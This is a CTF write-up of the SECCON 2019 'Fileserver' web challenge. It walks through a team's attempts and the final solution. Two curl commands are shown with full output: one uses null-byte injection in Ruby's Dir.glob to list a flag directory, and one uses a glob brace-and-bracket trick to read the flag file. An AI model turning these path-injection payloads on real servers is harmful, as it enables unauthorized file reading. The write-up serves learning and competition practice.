]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/someone/seccon19.md
phager
[pub/jan/ctf-seminar.git] / writeups / someone / seccon19.md
1 # Fileserver (web)
2 + 345 points/39 solves
3 + I actually never wrote ruby before.
4   + The challenge was mostly googling ruby-docs.
5 + Unfortunately this is my best documented challenge this term so far :/
6
7
8 ## description
9 ```
10 I donno apache or nginx things well, I guess I can implement one for myself though. See? It’s easy!
11 http://fileserver.chal.seccon.jp:9292/public/index.html
12 Due to maintainability, we restart the server of fileserver challenge every 5 minutes.
13 ```
14
15 The challenge is two-staged and consisted of a few files served by itself:
16 + app.rb
17 + Gemfile
18 + file-list-template
19 + public/index.html
20 + public/some-images
21
22
23 ## TL;DR: Solution
24
25 https://mattermost.w0y.at/seccon-2019/pl/ta1rjitc7jn4ugo4cw5z7nc5xa
26
27 ### Stage 1: Get flag path
28
29 ``curl --path-as-is -v 'fileserver.chal.seccon.jp:9292/%00/tmp/flags/' -o -``
30 ```
31 > GET /%00/tmp/flags/ HTTP/1.1
32 > Host: fileserver.chal.seccon.jp:9292
33 > User-Agent: curl/7.64.0
34 > Accept: */*
35 >
36 < HTTP/1.1 200 OK
37 < Content-Type: text/html
38 < Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01)
39 < Date: Sat, 19 Oct 2019 16:25:31 GMT
40 < Content-Length: 737
41 < Connection: Keep-Alive
42 <
43 <!DOCTYPE html>
44 <meta charset="utf8">
45 <meta name="viewport" content="width=device-width, initial-scale=1">
46 <title>Fileserver</title>
47 <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
48 <section class="section">
49   <div class="container">
50     <h1 class="title">Index of //tmp/flags/</h1>
51     <div class="list is-hoverable">
52
53         <a class="list-item" href="/./">./</a>
54
55         <a class="list-item" href="//tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt">/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt</a>
56
57     </div>
58     <hr>
59     <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
60   </div>
61 ```
62
63 ### Stage2: get file content
64
65 ``curl --path-as-is -v 'fileserver.chal.seccon.jp:9292/%7B/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt,%5B%7D' -o -``
66 ```
67 > GET /%7B/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt,%5B%7D HTTP/1.1
68 > Host: fileserver.chal.seccon.jp:9292
69 > User-Agent: curl/7.64.0
70 > Accept: */*
71 >
72 < HTTP/1.1 200 OK
73 < Content-Type:
74 < Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01)
75 < Date: Sat, 19 Oct 2019 16:26:01 GMT
76 < Content-Length: 36
77 < Connection: Keep-Alive
78 <
79 SECCON{You_are_the_Globbin'_Slayer}
80 ```
81
82
83 ## The road to enlightenment - aka (failed) attempts
84 ### 3:52 PM - Every file is also a directory.
85 ```
86 it seems to always show a "directory listing" if you add / at the end and the directory doesnt contain a dot
87
88 http://fileserver.chal.seccon.jp:9292/Gemfile
89 http://fileserver.chal.seccon.jp:9292/Gemfile/
90 ```
91
92 But after fiddling around with that, it didnt reveal any vulnerabilities like possible file includes or directory traversals.
93
94
95 Teammate `@sumhack` was trying to get past the path-normalisation to make a classical path traversal work using dots. Without much sucess. But he noticed that ``if you add a [, you can use {} as you like``, but unfortunately deemed that information useless a short while later: ``i just realized that {} is useless for our task here``.
96
97
98 ### 4:18 PM - Suspicion: globbing issues?
99 ``````
100 I suspect its something with file globbing. why would they check if the brackets match? just a red herring?
101
102 ```
103 def is_bad_path(path)
104   bad_char = nil
105
106   %w(* ? [ { \\).each do |char|
107     if path.include? char
108       bad_char = char
109       break
110     end
111   end
112
113   if bad_char.nil?
114     false
115   else
116     # check if brackets are paired
117     if bad_char == ?{
118       path[path.index(bad_char)..].include? ?}
119     elsif bad_char == ?[
120       path[path.index(bad_char)..].include? ?]
121     else
122       true
123     end
124   end
125 end
126
127 ```
128
129 ``````
130
131
132 ### nothing works :(
133 After more than a hour of trying to get a classical path traversal to work. Finally there was progress.
134 + I was shown what I did wrong: missing ``--path-as-is`` in my curl calls.
135 + Now at least `@sumhack` and myself were getting the same errors and were stuck at the same spot.
136 + The oranisers seem to have performance issues and the service is down for a while every few seconds.
137
138
139 ### frustration :/
140 Frustrated by the lack of any success or progress in exploiting ruby's string-interpolation I turned back to Dir.glob and wanted to understand, how it worked in full detail and started googling. Turns out:
141 + It is widely used exactly the same in real-world, which normally is a bad sign for CTFs.
142 + The matching works like a bash's globbing and not like regex.
143 + There is a relatively recent CVE: ``CVE-2018-8779``.
144   + null-byte-injection it is!
145   + For some weird reason only the part AFTER the null-byte is matched, in case of a null-byte.
146
147
148 ### 6:01 PM - getting there?
149 ```
150         <a class="list-item" href="//tmp/flags/c4Fc3iGV8YUfFqBkLUEYr0ur7GyuJBaH.txt">/tmp/flags/c4Fc3iGV8YUfFqBkLUEYr0ur7GyuJBaH.txt</a>
151
152 but how do I get the file content? :/
153 ```
154 It turns out: its a multi-staged challenge: We somehow still need to inject dots to get the file's content which we believed at this point to be impossible.
155
156
157 ### 6:24 PM - PWND! ^.^
158 Turns out: 
159 + Dots are in fact unusable, but one does not need dots, if we can use Dir.glob.
160 + To be able to use ``{}`` in glob, we need to use a ``[`` somewhere.
161 + null-bytes do not help here.
162 + The trick to get rid of the ``[`` is to put it inside of the ``{}`` match -> ``{something, [}`` and ``something = the absolute path of the flag``.
163
164 The flag:
165 ```
166 ``SECCON{You_are_the_Globbin'_Slayer}``
167 ```